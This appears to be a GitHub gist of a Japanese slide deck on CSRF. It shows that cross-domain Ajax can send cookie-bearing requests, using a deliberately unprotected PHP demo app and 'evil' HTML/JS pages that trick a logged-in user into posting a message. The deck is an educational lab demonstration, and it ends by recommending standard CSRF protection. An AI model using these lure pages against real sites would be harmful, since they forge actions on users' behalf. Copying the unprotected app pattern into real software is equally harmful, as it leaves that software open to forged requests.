Skip to content

Instantly share code, notes, and snippets.

@ngyuki
Last active August 29, 2015 14:04
Show Gist options
  • Save ngyuki/a9e13331ae24d452a400 to your computer and use it in GitHub Desktop.
Save ngyuki/a9e13331ae24d452a400 to your computer and use it in GitHub Desktop.
CSRF slide
.red {
color: #f00;
}
.reveal .slides section .fragment.through {
opacity: 1;
}
.reveal .slides section .fragment.through.visible {
text-decoration: line-through;
color: #888;
}
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title></title>
<meta name="description" content="">
<meta name="author" content="">
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<link rel="stylesheet" href="//cdn.jsdelivr.net/reveal.js/2.6.2/css/reveal.min.css">
<link rel="stylesheet" href="//cdn.jsdelivr.net/reveal.js/2.6.2/css/theme/default.css" id="theme">
<!-- For syntax highlighting -->
<link rel="stylesheet" href="//cdn.jsdelivr.net/reveal.js/2.6.2/lib/css/zenburn.css">
<!-- If the query includes 'print-pdf', include the PDF print sheet -->
<script>
if( window.location.search.match( /print-pdf/gi ) ) {
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = '//cdn.jsdelivr.net/reveal.js/2.6.2/css/print/pdf.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
}
</script>
<!--[if lt IE 9]>
<script src="//cdn.jsdelivr.net/reveal.js/2.6.2/lib/js/html5shiv.js"></script>
<![endif]-->
<link rel="stylesheet" href="index.css">
</head>
<body>
<div class="reveal">
<!-- Any section element inside of this container is displayed as a slide -->
<div class="slides">
<section data-markdown="index.md"
data-separator="^\n---$"
data-vertical="^\n>>>$"
data-charset="utf-8">
</section>
</div>
</div>
<script src="//cdn.jsdelivr.net/reveal.js/2.6.2/lib/js/head.min.js"></script>
<script src="//cdn.jsdelivr.net/reveal.js/2.6.2/js/reveal.min.js"></script>
<script>
var cdn = "//cdn.jsdelivr.net/reveal.js/2.6.2/";
// Full list of configuration options available here:
// https://github.com/hakimel/reveal.js#configuration
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: true,
slideNumber: true,
theme: Reveal.getQueryHash().theme, // available themes are in /css/theme
transition: Reveal.getQueryHash().transition || 'default', // default/cube/page/concave/zoom/linear/fade/none
// Parallax scrolling
// parallaxBackgroundImage: 'https://s3.amazonaws.com/hakim-static/reveal-js/reveal-parallax-1.jpg',
// parallaxBackgroundSize: '2100px 900px',
// Optional libraries used to extend on reveal.js
dependencies: [
{ src: cdn + 'lib/js/classList.js', condition: function() { return !document.body.classList; } },
{ src: cdn + 'plugin/markdown/marked.js', condition: function() { return !!document.querySelector( '[data-markdown]' ); } },
{ src: cdn + 'plugin/markdown/markdown.js', condition: function() { return !!document.querySelector( '[data-markdown]' ); } },
{ src: cdn + 'plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } },
{ src: cdn + 'plugin/zoom-js/zoom.js', async: true, condition: function() { return !!document.body.classList; } },
{ src: cdn + 'plugin/notes/notes.js', async: true, condition: function() { return !!document.body.classList; } }
]
});
</script>
</body>
</html>

クロスドメインの Ajax の
よくある勘違い


クロスドメインだと・・・

  • リクエストが送れない
  • Cookie も送れない

どちらも間違い


クロスドメインでも・・・

リクエストは送れます

$(function(){
    $('#button').on('click', function () {
        $.ajax({
            type: "post",
            url: "http://localhost/app.php",
            data: { message: "hogehoge" }
        });
    });
});

クロスドメインでも・・・

withCredentials を指定すれば Cookie も送れます

$(function(){
    $('#button').on('click', function () {
        $.ajax({
            type: "post",
            url: "http://localhost/app.php",
            data: { message: "hogehoge" },
            xhrFields: {
                withCredentials: true
            }
        });
    });
});

できないのは・・・

レスポンスヘッダやレスポンスボディにアクセスすること



app.php

function checkLogin()
{
    global $username;
    if (isset($_SESSION) == false) {
        session_start();
    }
    if (!isset($_SESSION['username'])) {
        if (count($_POST)) {
            $err = authentication();
            renderLogin($err);
        } else {
            renderLogin();
        }
        exit;
    }
    $username = $_SESSION['username'];
}

function authentication()
{
    $username = filter_input(INPUT_POST, 'username');
    $password = filter_input(INPUT_POST, 'password');
    if (strlen($username) && $username === $password) {
        $_SESSION['username'] = $username;
        header("Location: {$_SERVER['REQUEST_URI']}");
        exit;
    }
    return "invalid username or password";
}
function renderLogin($err = null)
{
    ?><!DOCTYPE html>
    <html>
    <head><meta charset="utf-8"><title></title></head>
    < body>
    <form method="post">
        <input type="text" name="username" placeholder="username">
        <input type="password" name="password" placeholder="password">
        <button type="submit">Login</button>
        <?= isset($err) ? h($err) : null ?>
    </form>
    </body></html><?php
}
function savePost()
{
    global $username, $filename;
    $message = filter_input(INPUT_POST, 'message');
    file_put_contents($filename, "$username: $message\n", FILE_APPEND);
    header("Location: {$_SERVER['REQUEST_URI']}");
    exit;
}
function renderList($list)
{
    global $username;
    ?><!DOCTYPE html>
    <html><head><meta charset="utf-8"><title></title></head>
    < body>
    <h3>Hello <?= h($username) ?></h3>
    <form method="post">
        <input type="text" name="message" required>
        <button type="submit">Post</button>
    </form>
    <?php foreach ($list as $line): ?>
        <div><?= h(trim($line)) ?></div>
    <?php endforeach; ?>
    <hr><button type="button" onclick="location.reload()">reload</button>
    </body></html><?php
}
function main()
{
    global $filename;
    checkLogin();

    if (count($_POST)) {
        savePost();
    }

    $list = is_file($filename) ? file(__DIR__ . '/data.json') : [];
    renderList($list);
}
function h($s)
{
    return htmlspecialchars($s, HTML_ENTITIES);
}

$filename = __DIR__ . '/data.json';
$username = null;

main();

evil.html

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
< body>
<button id="button" style="font-size:500%">
    クリックするとお金がたくさんたまります
</button>
< /body>
< script src="//code.jquery.com/jquery-2.1.0.min.js">< /script>
< script src="evil.js">< /script>
</html>

evil.js

$(function(){
    $('#button').on('click', function () {
        $.ajax({
            type: "post",
            url: "http://localhost/app.php",
            data: { message: "うんこー" },
            xhrFields: {
                withCredentials: true
            }
        });
    });
});

実験

$ start http://127.9.9.9/evil.html; \
  start http://localhost/app.php; \
  php -S 0.0.0.0:80

結論?

Ajax 超怖い

というわけではない


ただの CSRF です

app.php は CSRF 対策が行なわれていない

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
< body>
    <form method="post" action="http://localhost/app.php">
        <button id="submit" style="font-size:500%">
            クリックするとお金がたくさんたまります
        </button>
        <input type="hidden" name="message" value="もっとうんこー">
    </form>
</body>
</html>

Ajax とか使わなくてもこれだけでOK!


実験

$ start http://127.9.9.9/evil2.html; \
  start http://localhost/app.php; \
  php -S 0.0.0.0:80

結論

普通に CSRF 対策をおこなえば良い

@ngyuki
Copy link
Author

ngyuki commented Jul 30, 2014

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment